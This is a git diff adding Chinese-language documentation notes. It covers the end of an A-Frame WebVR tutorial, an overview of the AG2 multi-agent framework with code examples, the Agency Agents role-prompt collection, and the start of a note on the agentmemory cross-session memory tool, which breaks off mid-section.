+      </a-entity>
+
+      <a-box
+        class="clickable"
+        position="0 1 -3"
+        depth="1"
+        height="1"
+        width="1"
+        color="#4CC3D9"
+        shadow="cast: true"
+        animation="property: position; to: 0 1.4 -3; dir: alternate; dur: 1500; loop: true; easing: easeInOutSine"
+        toggle-color
+        spin="speed: 20"
+      ></a-box>
+
+      <a-light type="directional" position="1 2 1" intensity="0.8" shadow="cast: true"></a-light>
+      <a-light type="ambient" intensity="0.4"></a-light>
+    </a-scene>
+  </body>
+</html>
+```
+
+要点：
+
+- `animation` 组件是内置的，用属性字符串描述补间，无需手写 `requestAnimationFrame`
+- `class="clickable"` + `raycaster="objects: .clickable"` 限定可点击对象
+- 自定义组件通过 `this.el.object3D` 访问底层 three.js 对象，与声明式 markup 混用
+
+## 典型工作流
+
+| 步骤 | 做什么 | 常用工具 |
+|------|--------|----------|
+| 1. 搭场景骨架 | `<a-scene>` + 相机 + 灯光 + 地面/天空 | 内置 primitives |
+| 2. 摆物体 | position / rotation / scale，或 glTF 模型 | `<a-gltf-model src="...">` |
+| 3. 加交互 | cursor、laser-controls、事件监听 | 社区组件如 `super-hands` |
+| 4. 写逻辑 | `AFRAME.registerComponent` | 组件 schema + tick |
+| 5. 部署 | 静态托管 | GitHub Pages、Netlify、任意 CDN |
+
+本地开发推荐：
+
+```bash
+# 任选一种静态服务器，避免 file:// 协议限制
+npx serve .
+# 或
+python3 -m http.server 8080
+```
+
+## 与 three.js / PlayCanvas 的对比
+
+| 维度 | A-Frame | 裸 three.js | PlayCanvas |
+|------|---------|-------------|------------|
+| 入口形态 | HTML 标签 + 组件 | JavaScript API | 引擎 API + 云编辑器 |
+| VR 友好度 | 默认 WebXR | 需自行接 WebXR | 内置 WebXR |
+| 学习曲线 | 前端开发者友好 | 图形学曲线陡 | 游戏引擎思维 |
+| 适用场景 | Web 展览、教育、轻量 VR | 完全自定义渲染 | 商业 3D 游戏 |
+
+A-Frame 不是游戏引擎替代品——复杂物理、大型开放世界、重度 UI 往往仍选 Unity / Godot 导出或 PlayCanvas。它的甜区是：**快速在 Web 上交付可分享的沉浸式体验**。
+
+## 生态与扩展
+
+- **aframe.io** 官方文档与示例画廊
+- **npm 社区组件**：`aframe-environment-component`（一键生成地形/天空）、`aframe-extras`（加载器与控制器）、物理引擎封装等
+- **Inspector**：运行场景后按 `Ctrl+Alt+I`（Windows）或 `Cmd+Option+I`（Mac）打开内嵌场景 inspector，可视化调 position/rotation
+- **与 React / Vue**：可用 wrapper 或直接操作 DOM attribute；A-Frame 本质是 DOM，框架无关
+
+## 常见问题
+
+**Q：页面空白？**  
+检查是否用 HTTP 服务打开；控制台是否有 WebGL 报错；相机是否对着物体（默认原点在 `(0,0,0)`，物体和相机别叠在一起）。
+
+**Q：VR 按钮不出现？**  
+需要 HTTPS 或 localhost，且浏览器支持 WebXR；iOS Safari 对 WebXR 支持有限，需关注目标设备。
+
+**Q：性能卡顿？**  
+减少 draw call（合并 mesh）、压缩 glTF（Draco）、降低阴影与后处理；移动端避免过高面数。
+
+**Q：和 React 一起用冲突吗？**  
+不冲突。常见模式是 React 管页面 UI，A-Frame 场景作为独立 mount 点；注意 React 重渲染时不要销毁正在运行的 `<a-scene>`。
+
+## 小结
+
+A-Frame 把 **three.js + WebXR + ECS** 包装成「写 HTML 就能搭 3D/VR」的体验：`<a-scene>` 开舞台，`<a-entity>` 当容器，组件像插件一样叠加能力与外观。零基础可以先玩 primitives 和内置 `animation`，再写 `AFRAME.registerComponent` 扩展行为。发一个 URL，别人就能进你的 Web VR 房间——这就是它最大的日常价值。
diff --git a/src/content/docs/projects/ag2.md b/src/content/docs/projects/ag2.md
new file mode 100644
index 000000000..053442d48
--- /dev/null
+++ b/src/content/docs/projects/ag2.md
@@ -0,0 +1,285 @@
+---
+title: AG2 — AutoGen 社区演进
+来源: https://github.com/ag2ai/ag2
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-infra
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+AG2（前身为 AutoGen）是一个**开源的多 Agent 编排框架**，2024 年 11 月从 Microsoft AutoGen 分叉出来，由全球志愿者社区维护。一句话：它让多个 AI Agent 像团队一样互相对话、互相纠正，协作完成任务。
+
+日常类比：
+
+- **单 agent** = 你一个人对着 ChatGPT 提问，所有事自己拍板
+- **AG2 多 agent** = 拉三个角色进会议室——一个写代码的、一个审代码的、一个跑代码的——他们彼此对话直到给出最终答案
+
+仓库地址 `github.com/ag2ai/ag2`，**Apache-2.0 协议**，约 30k+ stars。项目维护者是 Chi Wang 和 Qingyun Wu（AutoGen 的原始作者），通过 [support@ag2.ai](mailto:support@ag2.ai) 联系。
+
+## 为什么从 AutoGen 分出来
+
+2024 年 11 月，AutoGen 团队做了一件大事：成立新组织 [AG2AI](https://github.com/ag2ai)，把项目从微软仓库迁移过去，采用**开放治理**模式。
+
+类比：就像一个大公司内部的项目觉得需要独立一样——不再依赖单一公司决策，全球志愿者一起投票维护。
+
+| 对比项 | Microsoft AutoGen | AG2 (ag2ai) |
+|--------|-------------------|-------------|
+| 组织 | 微软主导 | 全球志愿者社区 |
+| 协议 | MIT（原代码）+ Apache-2.0（修改部分） | 纯 Apache-2.0 |
+| 治理 | 公司决定路线图 | 社区贡献者投票 |
+| 定位 | 产品驱动 | 纯开源基础设施 |
+
+## 核心概念
+
+### ConversableAgent — 所有 Agent 的基类
+
+`ConversableAgent` 是 AG2 里最小的"人"。它做三件事：**发消息、收消息、用 LLM 生成回复**。所有其他 Agent（AssistantAgent、UserProxyAgent）都继承它。
+
+类比：会议室里的一个人，能听、能说、能思考。
+
+### Orchestrator — 调度员
+
+多 Agent 协作需要有人决定**谁在什么时候说话**。AG2 提供多种编排模式：
+
+- **Swarm**：一群 Agent 平级协作，类似头脑风暴
+- **Group Chat**：圆桌会议，由 GroupChatManager 决定下一个发言者
+- **Nested Chat**：对话嵌套——一个 Agent 里又启动另一组对话
+- **Sequential Chat**：接力赛，A 做完传给 B，B 做完传给 C
+
+类比：不同的开会方式。Swarm 是自由讨论，Group Chat 是有主持人，Nested Chat 是"小会里套小会"，Sequential 是接力传球。
+
+### Tools — 工具
+
+Agent 本身只会聊天，加上工具才能做实事。AG2 里注册工具很简单——用 Python 函数装饰器或 `register_function` 把函数挂到 Agent 上，LLM 在聊天过程中自动调用。
+
+类比：给一个只会说话的人配上计算器、浏览器、代码执行器——工具扩展了他的能力。
+
+### Human-in-the-Loop — 人在回路
+
+`UserProxyAgent` 代表人类介入对话。设 `human_input_mode` 可以控制人类何时介入：**每轮都问 / 只在必要时问 / 不介入**。
+
+类比：会议上有一个领导，有权叫停或修正方向。
+
+## 代码示例
+
+### 示例 1：最简单的 Agent 对话
+
+创建一个"程序员 Agent"和一个"用户 Agent"，用户给程序员布置任务，程序员写代码，用户执行并反馈结果：
+
+```python
+from autogen import AssistantAgent, UserProxyAgent, LLMConfig
+
+# 加载 API 配置（类似 .env 的 JSON 文件）
+llm_config = LLMConfig.from_json(path="OAI_CONFIG_LIST")
+
+# 两个 Agent
+assistant = AssistantAgent(
+    "assistant",
+    llm_config=llm_config,
+    system_message="你是一个 Python 工程师，只写代码不废话。"
+)
+
+user = UserProxyAgent(
+    "user",
+    code_execution_config={"work_dir": "coding", "use_docker": False},
+    human_input_mode="NEVER"  # 自动执行，不等你输入
+)
+
+# 发起对话：用户给任务，assistant 回答，user 执行代码并回传
+chat_result = user.initiate_chat(
+    assistant,
+    message="用 Python 写一个函数，计算两个数的最大公约数"
+)
+
+# 查看对话摘要
+print(chat_result.summary)
+```
+
+执行流程（四步循环）：
+1. `user` 把消息发给 `assistant`
+2. `assistant` 调 LLM 返回 Python 代码
+3. `user` 自动在本地执行这段代码，把结果回传
+4. 直到 `assistant` 在回复里输出 `TERMINATE` 为止
+
+### 示例 2：Group Chat 多人讨论
+
+三个 Agent 协作设计课程大纲：**老师**出主题、**策划**写方案、**评审**提意见——循环直到达成共识：
+
+```python
+from autogen import ConversableAgent, LLMConfig
+from autogen.agentchat import run_group_chat
+from autogen.agentchat.group.patterns import AutoPattern
+
+llm_config = LLMConfig.from_json(path="OAI_CONFIG_LIST")
+
+# 策划 Agent
+planner = ConversableAgent(
+    name="planner",
+    system_message="你是课程策划。给定主题，写出四年级课程大纲。",
+    description="撰写或修改课程大纲",
+    llm_config=llm_config,
+)
+
+# 评审 Agent
+reviewer = ConversableAgent(
+    name="reviewer",
+    system_message="你是课程评审。对照教学大纲，提出最多3条改进建议。",
+    description="对课程大纲提供一轮反馈",
+    llm_config=llm_config,
+)
+
+# 老师 Agent（决策者，看到 DONE! 就结束）
+teacher = ConversableAgent(
+    name="teacher",
+    system_message="你是资深教师。你决定主题，与策划和评审协作，满意时输出 DONE!",
+    is_termination_msg=lambda x: "DONE!" in (x.get("content", "") or "").upper(),
+    llm_config=llm_config,
+)
+
+# 编排：自动选择下一个发言者
+auto_selection = AutoPattern(
+    agents=[teacher, planner, reviewer],
+    initial_agent=planner,
+    group_manager_args={"name": "manager", "llm_config": llm_config},
+)
+
+result = run_group_chat(
+    pattern=auto_selection,
+    messages="给孩子们讲太阳系",
+    max_rounds=20,
+)
+
+result.process()
+print(result.summary)
+```
+
+这里 `AutoPattern` 自动决定每轮谁该说话——`teacher` 先让 `planner` 写大纲，然后 `reviewer` 提意见，`planner` 修改后再让 `teacher` 拍板，循环最多 20 轮。
+
+### 示例 3：给 Agent 注册工具
+
+让 Agent 能查日期对应的星期几——这是"工具调用"最简演示：
+
+```python
+from datetime import datetime
+from typing import Annotated
+from autogen import ConversableAgent, register_function, LLMConfig
+
+llm_config = LLMConfig.from_json(path="OAI_CONFIG_LIST")
+
+# 工具函数（就是一个普通 Python 函数）
+def get_weekday(date_string: Annotated[str, "格式: YYYY-MM-DD"]) -> str:
+    """返回给定日期是星期几"""
+    date = datetime.strptime(date_string, "%Y-%m-%d")
+    return date.strftime("%A")
+
+# 两个 Agent：一个是工具调用者，一个是执行者（不跟人交互）
+date_agent = ConversableAgent(
+    name="date_agent",
+    system_message="你帮用户查日期对应的星期。",
+    llm_config=llm_config,
+)
+
+executor = ConversableAgent(
+    name="executor",
+    human_input_mode="NEVER",
+    llm_config=llm_config,
+)
+
+# 把工具注册进去：caller 发起调用，executor 负责执行
+register_function(
+    get_weekday,
+    caller=date_agent,
+    executor=executor,
+    description="获取某日期对应的星期几",
+)
+
+# Agent 开始对话
+chat_result = executor.initiate_chat(
+    recipient=date_agent,
+    message="我出生在 1995-03-25，那天是星期几？",
+    max_turns=2,
+)
+
+print(chat_result.chat_history[-1]["content"])
+```
+
+## AG2 路线图
+
+AG2 目前正处于 **v1.0 的过渡期**。官方明确指出：
+
+> 当前的框架正在逐步精简（deprecations），`autogen.beta` 模块将成为 v1.0 的正式版本。
+
+这意味着：
+- **老 API 会逐渐被标记为废弃**，新项目建议用 `autogen.beta` 下的接口
+- v1.0 之前 API 仍可能变化，生产项目要注意锁定版本
+- 完整路线图见 [docs.ag2.ai](https://docs.ag2.ai/latest/docs/user-guide/release-roadmap/)
+
+## 踩过的坑
+
+1. **代码执行有安全风险**：`UserProxyAgent` 默认会执行 LLM 生成的任意代码。生产环境必须用 Docker 隔离，**别在裸机跑**。
+
+2. **Group Chat 死循环**：Speaker selection 默认用 LLM 选下一个发言人，LLM 可能一直选同一个 Agent 导致原地打转。**永远设 `max_round`**，并写好 termination 信号。
+
+3. **Token 烧得快**：多 Agent 每轮 prompt 都带整个对话历史。10 轮对话 + 4 个 Agent，token 量是单 Agent 的几十倍。学习时用便宜模型（gpt-4o-mini / claude-haiku），跑通再换大模型。
+
+4. **API 仍在变**：AG2 从 AutoGen 分叉后正在经历 v1.0 重构，`beta` 模块和正式模块的 API 可能不一致。跟着 [官方文档](https://docs.ag2.ai) 走，别盲信过时的教程。
+
+5. **API 密钥管理**：AG2 推荐用 `OAI_CONFIG_LIST` JSON 文件存密钥，**一定加到 .gitignore**。也可以用环境变量替代。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 学多 Agent 对话编排（学术研究 / 实验对照组）
+- 需要 Agent 之间互相 review / debate / 角色扮演的场景
+- 快速搭建多人协作的 AI 应用原型
+- 追求开放治理、不绑定单一公司的项目
+
+**不适用**：
+
+- **简单的链式工作流**——用 LangChain 更直接，AG2 杀鸡用牛刀
+- **生产级稳态 Agent**——API 还没到 v1.0，企业级要看稳了再上
+- **极致低延迟场景**——多 Agent 串行对话延迟天然高
+- **学 LLM 原理**——AG2 是上层框架，不讲底层模型
+
+## 与同类框架对比
+
+| 框架 | 主打 | 不同点 |
+|------|------|--------|
+| **AG2** | 多 Agent 对话 | `ConversableAgent` 抽象，群聊一等公民，社区治理 |
+| **LangChain** | 链式工作流 + 工具调用 | Agent 是 chain 的一种，对话不是核心 |
+| **CrewAI** | 角色 + 任务分配 | 强调 process / hierarchy，编排重于对话 |
+| **MetaGPT** | 模拟软件公司 | 固定 SDLC 角色（PM/架构师/工程师），范式更窄 |
+
+## 历史
+
+- **2023-08**：微软 + Penn State 发表 arXiv:2308.08155，AutoGen 开源
+- **2023-10**：AutoGen v0.1，确立 `ConversableAgent` / `GroupChat` 双核心
+- **2024-05**：DeepLearning.ai 推出 AutoGen 短期课程；Forbes 发表"多 Agent AI 的希望"
+- **2024-11-11**：AutoGen 分叉为 **AG2**，新组织 [AG2AI](https://github.com/ag2ai) 成立，开放治理
+- **2025**：AG2 进入 v1.0 过渡期，`autogen.beta` 成为正式版本候选
+- **持续迭代**：跟随 LLM 新特性（thinking / tool use / vision）保持更新
+
+## 学到什么
+
+1. **多 Agent 对话是可以抽象的**——`ConversableAgent` 把"收发消息 + 注册回复"做成一等公民，组合性极强
+2. **群聊需要调度协议**——不是所有 Agent 同时说话，是有顺序、有规则的（Speaker Selection）
+3. **开放治理 > 公司主导**——AG2 分叉说明：开源项目社区化了才更持久
+4. **框架重构是双刃剑**——v1.0 过渡期意味着 API 不稳定，学的时候可以追，生产要等稳定
+
+## 延伸阅读
+
+- 仓库：[ag2ai/ag2](https://github.com/ag2ai/ag2)
+- 文档：[docs.ag2.ai](https://docs.ag2.ai)
+- 示例集：[ag2ai/build-with-ag2](https://github.com/ag2ai/build-with-ag2)
+- 论文：[AutoGen arXiv 2308.08155](https://arxiv.org/abs/2308.08155)
+- Discord：[ag2ai Discord 社区](https://discord.gg/pAbnFJrkgZ)
+- [[autogen]] —— AutoGen 原仓库笔记，了解分叉前发生了什么
+
+## 关联
+
+- [[autogen]] —— AutoGen 是 AG2 的前身，本笔记建立在它的基础上
+- [[langchain-tutorial]] —— 单 Agent 链式工作流的对比参考
diff --git a/src/content/docs/projects/agency-agents.md b/src/content/docs/projects/agency-agents.md
new file mode 100644
index 000000000..c350ff059
--- /dev/null
+++ b/src/content/docs/projects/agency-agents.md
@@ -0,0 +1,298 @@
+---
+title: Agency Agents — 用 232 个专业角色组建你的 AI 团队
+来源: https://github.com/msitarzewski/agency-agents
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+# Agency Agents — 用 232 个专业角色组建你的 AI 团队
+
+## 一、日常类比：你不需要一个"全能员工"
+
+想象你在经营一家广告公司。老板（也就是你）接了一个项目：要做一款面向年轻人的社交 App。
+
+如果你只招一个人，让他既做产品设计、又写后端代码、还负责推广运营——这个人就算再厉害，也很难把每件事都做好。
+
+更合理的做法是：**招一个团队**。每个成员只负责自己最擅长的那一块：
+
+- 产品经理写需求文档
+- 前端工程师做界面
+- 后端工程师搭 API
+- 测试工程师找 Bug
+- 市场专员出推广方案
+
+**Agency Agents 做的事情一模一样**——只不过它的"员工"不是真人，而是 232 个经过精心设计的 AI Agent（智能体）。每个 Agent 都有自己的名字、性格、工作流程和交付标准。
+
+## 二、什么是 Agency Agents？
+
+[Agency Agents](https://github.com/msitarzewski/agency-agents) 是一个开源项目，提供了一整套"AI 员工手册"。
+
+它不是一个软件、不是一个框架、也不是一个可以安装运行的程序。**它是一组 Markdown 文件**——每个文件定义了一个 Agent 的"人格"和"工作规范"。
+
+你把它们放到 AI 编程工具（比如 Claude Code、Cursor、Copilot）里，这些工具就会按照每个 Agent 的专业设定来工作。
+
+### 核心结构
+
+整个项目有 **16 个部门（Division）**，涵盖从设计、开发、测试到市场、安全、游戏开发的各个领域：
+
+| 部门 | 包含 Agent 数量 | 职责 |
+|------|------|------|
+| Design Division | 设计相关 | UI/UX 设计、品牌守护、创意注入 |
+| Engineering Division | 开发相关 | 前端、后端、全栈、移动端 |
+| Testing Division | 测试相关 | 证据收集、性能基准、API 测试 |
+| Marketing Division | 营销相关 | 内容创作、社交媒体、增长策略 |
+| Security Division | 安全相关 | 威胁建模、渗透测试、合规审计 |
+| ... 等 11 个更多部门 | | |
+
+每个 Agent 文件都遵循相同的模板结构：
+
+1. **Frontmatter** — 元数据（名称、描述、颜色、表情符号）
+2. **身份与记忆** — 角色定位、性格特征、经验积累
+3. **核心使命** — 这个 Agent 要完成的主要任务
+4. **关键规则** — 必须遵守的工作原则
+5. **工作流程** — 分步骤的操作指南
+6. **成功指标** — 如何判断工作做得好
+
+## 三、核心概念拆解
+
+### 概念 1：Agent = 专业化的人格 + 流程
+
+传统的 AI 提示词是这样的：
+
+```
+你是一个开发者，帮我写一段代码。
+```
+
+Agency Agents 的 Agent 是这样的：
+
+```markdown
+---
+name: Frontend Developer
+description: Senior frontend wizard who crafts pixel-perfect, accessible, performant web interfaces.
+color: green
+emoji: 🎨
+vibe: The meticulous craftsman who believes every pixel matters.
+---
+
+# Frontend Developer Agent Personality
+
+You are **FrontendDeveloper**, a senior frontend engineer with 15+ years of experience building
+world-class web interfaces. You specialize in React, TypeScript, CSS, and performance optimization.
+
+## 🎯 Your Core Mission
+
+### Build Production-Ready Interfaces
+- Create responsive, accessible, and performant UIs
+- Follow modern best practices (WCAG 2.1 AA+, semantic HTML)
+- Write clean, maintainable code with proper TypeScript types
+```
+
+区别在哪？后者有**明确的角色定位**（15年经验的高级前端）、**具体的质量标准**（无障碍访问、语义化 HTML）、**可衡量的交付物**（类型安全的代码）。
+
+### 概念 2：多 Agent 协作 = 流水线作业
+
+单个 Agent 再好，也有能力边界。Agency Agents 的核心价值在于：**多个 Agent 按顺序协作，完成复杂项目**。
+
+以"从零构建一个 Web App"为例：
+
+```
+产品经理 → 架构师 → 前端开发 ↔ 测试 → 集成 → 上线
+                              ↑________↓
+                         （开发与测试形成持续循环）
+```
+
+其中有一个专门的 **Agents Orchestrator** Agent，负责当"项目经理"，自动调度整个流程：
+
+```markdown
+## 🔄 Your Workflow Phases
+
+### Phase 3: Development-QA Continuous Loop
+- **Task-by-task validation**: Each implementation task must pass QA before proceeding
+- **Automatic retry logic**: Failed tasks loop back to dev with specific feedback
+- **Quality gates**: No phase advancement without meeting quality standards
+- **Failure handling**: Maximum retry limits with escalation procedures
+```
+
+### 概念 3：跨工具兼容 = 一套手册，处处可用
+
+同一个 Agent 定义文件，可以通过脚本转换成不同 AI 工具的格式：
+
+| 工具 | 安装方式 | 激活方式 |
+|------|------|------|
+| Claude Code | 直接复制到 `~/.claude/agents/` | `Use the Frontend Developer agent to...` |
+| GitHub Copilot | 复制到 `~/.github/agents/` | 同上 |
+| Cursor | 转为 `.mdc` 规则文件 | `Use the @security-engineer rules to...` |
+| OpenCode | 放到 `.opencode/agents/` | `@backend-architect design this API` |
+| Aider | 编译为单个 `CONVENTIONS.md` | 自动加载 |
+| ... 更多 | | |
+
+这意味着：**你只需要维护一套 Agent 定义**，就能在所有主流 AI 编程工具中使用。
+
+## 四、代码示例
+
+### 示例 1：理解一个 Agent 文件的完整结构
+
+这是项目中 **Evidence Collector**（证据收集者）Agent 的一部分——属于测试部门，专门负责截图验证：
+
+```markdown
+---
+name: Evidence Collector
+description: Screenshot-based QA specialist who captures visual proof of bugs, UI states, and design deviations.
+color: purple
+emoji: 📸
+vibe: The detective who never accepts "it looks fine" without photographic evidence.
+---
+
+# Evidence Collector Agent Personality
+
+You are **EvidenceCollector**, a QA specialist who believes that a screenshot is worth
+a thousand bug reports. You specialize in systematic visual testing, screenshot-based
+documentation, and design-vs-reality comparison.
+
+## 🎯 Your Core Mission
+
+### Capture Visual Proof
+- Take annotated screenshots of every screen you test
+- Highlight specific issues with arrows and callouts
+- Compare expected design vs. actual implementation
+- Document browser/device/environment context with each capture
+
+## 📋 Your Workflow
+
+### Phase 1: Test Planning
+1. Read the design specifications and component documentation
+2. Identify all screens and states that need visual verification
+3. Create a test checklist with pass/fail criteria for each element
+
+### Phase 2: Systematic Testing
+1. Navigate to each screen in the application
+2. For each screen, compare against the design specification
+3. Take annotated screenshots showing any deviations
+4. Log each finding with severity level and reproduction steps
+```
+
+**关键点**：注意 `vibe` 字段——"从不接受没有照片证据的'看起来没问题'"。这给 Agent 赋予了一种**性格**，让它在工作时更有倾向性和判断力，而不是冷冰冰地执行指令。
+
+### 示例 2：实际使用场景——启动一个多 Agent 协作流程
+
+假设你要用 Claude Code 启动一个完整的项目。在安装了 Agency Agents 之后，你可以这样操作：
+
+**第一步：让产品经理定义需求**
+
+```
+Use the Sprint Prioritizer agent to read the product specification
+and create a prioritized task list. Save it to project-tasks/tasklist.md.
+```
+
+**第二步：让架构师设计技术方案**
+
+```
+Use the Backend Architect agent to design the API schema and database
+models based on the task list. Follow the security requirements in the
+Security Architect agent's guidelines.
+```
+
+**第三步：让开发和测试形成循环**
+
+```
+Use the Frontend Developer agent to implement the login page.
+After each component, use the Evidence Collector to take screenshots
+and verify the implementation matches the design.
+```
+
+**第四步：让 Reality Checker 做最终把关**
+
+```
+Use the Reality Checker agent to perform a production readiness
+assessment of the entire application before we ship.
+```
+
+整个过程不需要你手动切换角色、传递上下文——每个 Agent 都知道自己的职责，也知道什么时候该把成果交给下一个 Agent。
+
+## 五、为什么这很重要？
+
+### 1. 降低 AI 使用的门槛
+
+以前，想让 AI 帮你写好一个项目，你需要自己写出非常精确的提示词。现在，**提示词已经有人帮你写好了**——而且是由社区反复迭代过的。
+
+### 2. 从"一个人用 AI"到"一支团队用 AI"
+
+单个 AI 模型的能力是有限的。但通过**专业化分工**，每个 Agent 都在自己擅长的领域达到最高水平。就像现实中你不会让同一个人同时做设计和写代码一样。
+
+### 3. 可复用、可定制、可分享
+
+每个 Agent 都是一个独立的 Markdown 文件。你可以：
+- **复制**到自己项目的某个目录
+- **修改**其中的规则和工作流
+- **分享**给团队成员使用
+- **创建**自己的新 Agent
+
+## 六、动手尝试
+
+### 快速上手
+
+```bash
+# 克隆项目
+git clone https://github.com/msitarzewski/agency-agents.git
+
+# 浏览所有 Agent
+ls agency-agents/
+
+# 查看某个 Agent 的完整内容
+cat agency-agents/engineering/backend-architect.md
+```
+
+### 安装到 Claude Code
+
+```bash
+cd agency-agents
+./scripts/install.sh --tool claude-code
+```
+
+安装完成后，在 Claude Code 中就可以直接使用：
+
+```
+Use the Frontend Developer agent to review this component.
+```
+
+### 自定义你的第一个 Agent
+
+创建一个新 Agent 非常简单。新建一个 `.md` 文件，填入：
+
+```markdown
+---
+name: My Custom Agent
+description: 一句话描述这个 Agent 做什么
+color: blue
+emoji: 🎯
+---
+
+# My Custom Agent
+
+You are **MyCustomAgent**, [角色描述].
+
+## 🎯 Your Core Mission
+1. [任务一]
+2. [任务二]
+3. [任务三]
+
+## 🚨 Critical Rules
+- [规则一]
+- [规则二]
+```
+
+然后把它放到你的 AI 工具对应的 Agent 目录中即可。
+
+## 七、小结
+
+| 要点 | 说明 |
+|------|------|
+| 这是什么 | 232 个专业 AI Agent 的定义集合 |
+| 怎么工作 | 每个 Agent 是一个 Markdown 文件，定义了角色、流程和标准 |
+| 核心价值 | 专业化分工 + 多 Agent 协作 + 跨工具兼容 |
+| 适合谁 | 想用 AI 更高效地完成复杂项目的任何人 |
+| 学习路径 | 先读几个 Agent 文件感受风格 → 选一个工具安装 → 开始协作 |
+
+记住类比：**Agency Agents 就是给 AI 编程工具配备了一支专业团队**。你不需要成为每个领域的专家——你只需要知道该叫哪个"员工"来干活，以及怎么检查他们的工作成果。
diff --git a/src/content/docs/projects/agent-memory.md b/src/content/docs/projects/agent-memory.md
new file mode 100644
index 000000000..5c7a769db
--- /dev/null
+++ b/src/content/docs/projects/agent-memory.md
@@ -0,0 +1,304 @@
+---
+title: 'agentmemory — 给 AI 编程助手装上「跨会话长期记忆」'
+来源: 'https://github.com/rohitg00/agentmemory'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 日常类比：便签 vs 档案室
+
+你带一个新同事修代码。第一天你讲了半小时：鉴权用 JWT、测试在 `test/auth.test.ts`、别用 `jsonwebtoken` 要用 `jose`。第二天他像失忆一样又问一遍。你会怎么办？
+
+- **便签式记忆**：`CLAUDE.md`、Cursor Notepad、`.cursorrules` —— 像贴在显示器边的便利贴，手写、容量有限（官方 README 说大约 200 行就会过时），每次会话往往**整份塞进上下文**。
+- **agentmemory**：像公司档案室 + 智能检索员。助手干活时**静默记录**（读了什么文件、跑了什么命令、踩了什么坑），压缩成可搜索条目；新会话开始时只**检索最相关的几条**注入，而不是把全部历史复述一遍。
+
+一句话：**内置记忆是静态便签；agentmemory 是可搜索、可衰减、可跨 Agent 共享的记忆引擎。**
+
+## 是什么
+
+[agentmemory](https://github.com/rohitg00/agentmemory) 是面向 **AI 编程 Agent** 的持久化记忆系统，由 Rohit G. 维护，基于 [iii engine](https://github.com/iii-hq/iii) 构建。它通过 **Hooks 自动捕获**、**MCP / REST API 读写**、**混合检索** 三条腿，让 Claude Code、Cursor、Codex、OpenCode、Aider 等工具共享同一套记忆。
+
+典型卖点（来自官方 benchmark 自述，需自行复现验证）：
+
+| 维度 | 内置记忆（如 CLAUDE.md） | agentmemory |
+|------|-------------------------|-------------|
+| 规模 | ~200 行上限 | 理论上无上限（SQLite 本地存储） |
+| 检索 | 全文加载进上下文 | BM25 + 向量 + 知识图谱，RRF 融合 |
+| Token 成本 | 240 条观察可达 22K+ tokens | 默认约 2000 token 预算注入 |
+| 跨 Agent | 各工具各一份文件 | 一个 memory server，MCP/REST 共用 |
+| 外部依赖 | 无 | 无（SQLite + iii-engine，无需 Postgres/Redis） |
+
+## 为什么需要它
+
+编程 Agent 的上下文窗口再大，**会话结束就清零**。你会反复：
+
+1. 解释项目架构和目录约定  
+2. 重复「上次我们为什么选 A 不选 B」  
+3. 重新发现同一个 N+1 查询或同一个 flaky test  
+
+agentmemory 试图把「解释成本」从每次 5 分钟压到接近零：**Session 1 做过的事，Session 2 通过检索自动浮现。**
+
+## 核心概念
+
+### 1. 记忆流水线（Memory Pipeline）
+
+官方 README 描述的标准路径：
+
+```text
+PostToolUse hook
+  → SHA-256 去重（5 分钟窗口）
+  → 隐私过滤（剥离 API Key、密钥）
+  → 存原始 observation
+  → LLM 压缩 → 结构化事实 + 概念 + 叙述
+  → 向量嵌入 → 写入 BM25 + 向量索引
+
+SessionEnd / Stop
+  → 会话摘要
+  → 可选：知识图谱抽取、slot reflection
+
+SessionStart
+  → 加载项目 profile
+  → 混合检索（BM25 + vector + graph）
+  → 按 token 预算（默认 ~2000）注入对话
+```
+
+你要记住的不是某一行配置，而是**「捕获 → 压缩 → 索引 → 按需召回」** 四段式闭环。
+
+### 2. 四层记忆巩固（4-Tier Consolidation）
+
+类比人脑睡眠巩固：
+
+| 层级 | 内容 | 类比 |
+|------|------|------|
+| Working | 工具调用的原始观察 | 短期记忆 |
+| Episodic | 会话级摘要 | 「发生了什么」 |
+| Semantic | 抽取的事实与模式 | 「我知道什么」 |
+| Procedural | 工作流与决策模式 | 「怎么做」 |
+
+记忆会**随时间衰减**（艾宾浩斯曲线），常访问的加强，陈旧的自动淘汰，矛盾条目可被检测与合并。
+
+### 3. 三重混合检索（Hybrid Search）
+
+| 通道 | 作用 | 典型场景 |
+|------|------|----------|
+| BM25 | 关键词 + 词干 + 同义词扩展 | 「auth middleware」精确命中 |
+| Vector | 嵌入余弦相似度 | 「数据库变慢」命中「N+1 查询修复」 |
+| Graph | 实体图遍历 | 「和 JWT 相关的文件/决策」 |
+
+三路结果用 **RRF（Reciprocal Rank Fusion, k=60）** 融合，并限制单会话最多贡献 3 条，避免一次检索被同一 session 霸榜。
+
+### 4. 三种接入面
+
+| 接入方式 | 谁用 | 说明 |
+|----------|------|------|
+| **Hooks** | Claude Code / Codex / OpenCode 等 | 零手动：工具前后自动 observe |
+| **MCP** | Cursor、Cline、Claude Desktop 等 | `@agentmemory/mcp` shim，连上 server 后 53 个 tool |
+| **REST** | Aider、自定义脚本 | `http://localhost:3111/agentmemory/*` |
+
+**重要细节**：`@agentmemory/mcp` 是薄 shim。只有 `AGENTMEMORY_URL` 指向**正在运行的 server** 时才有完整 53 tools；否则退化为 7 个本地 tool（`memory_save`、`memory_smart_search` 等）。很多人 Cursor 里「只有 7 个工具」就是这个原因。
+
+### 5. 端口与进程
+
+| 端口 | 用途 |
+|------|------|
+| `3111` | REST API + MCP HTTP + `/agentmemory/health` |
+| `3113` | 实时 Viewer（观察流、会话回放、图谱可视化） |
+| `49134` | iii WebSocket（`mem::remember` 等函数直连） |
+
+## 快速上手
+
+### 安装与演示
+
+```bash
+# 终端 1：启动 memory server
+npx @agentmemory/agentmemory
+
+# 终端 2：灌入示例数据并看语义检索
+npx @agentmemory/agentmemory demo
+
+# 健康检查
+curl http://localhost:3111/agentmemory/health
+
+# 浏览器打开实时面板
+open http://localhost:3113
+```
+
+`demo` 会种子 3 个虚构会话（JWT 鉴权、N+1 修复、限流），并演示搜「database performance optimization」能否召回「N+1 query fix」——纯关键词 grep 做不到这种跨表述匹配。
+
+### 接到 Cursor（MCP）
+
+在 `~/.cursor/mcp.json` 的 `mcpServers` 里合并：
+
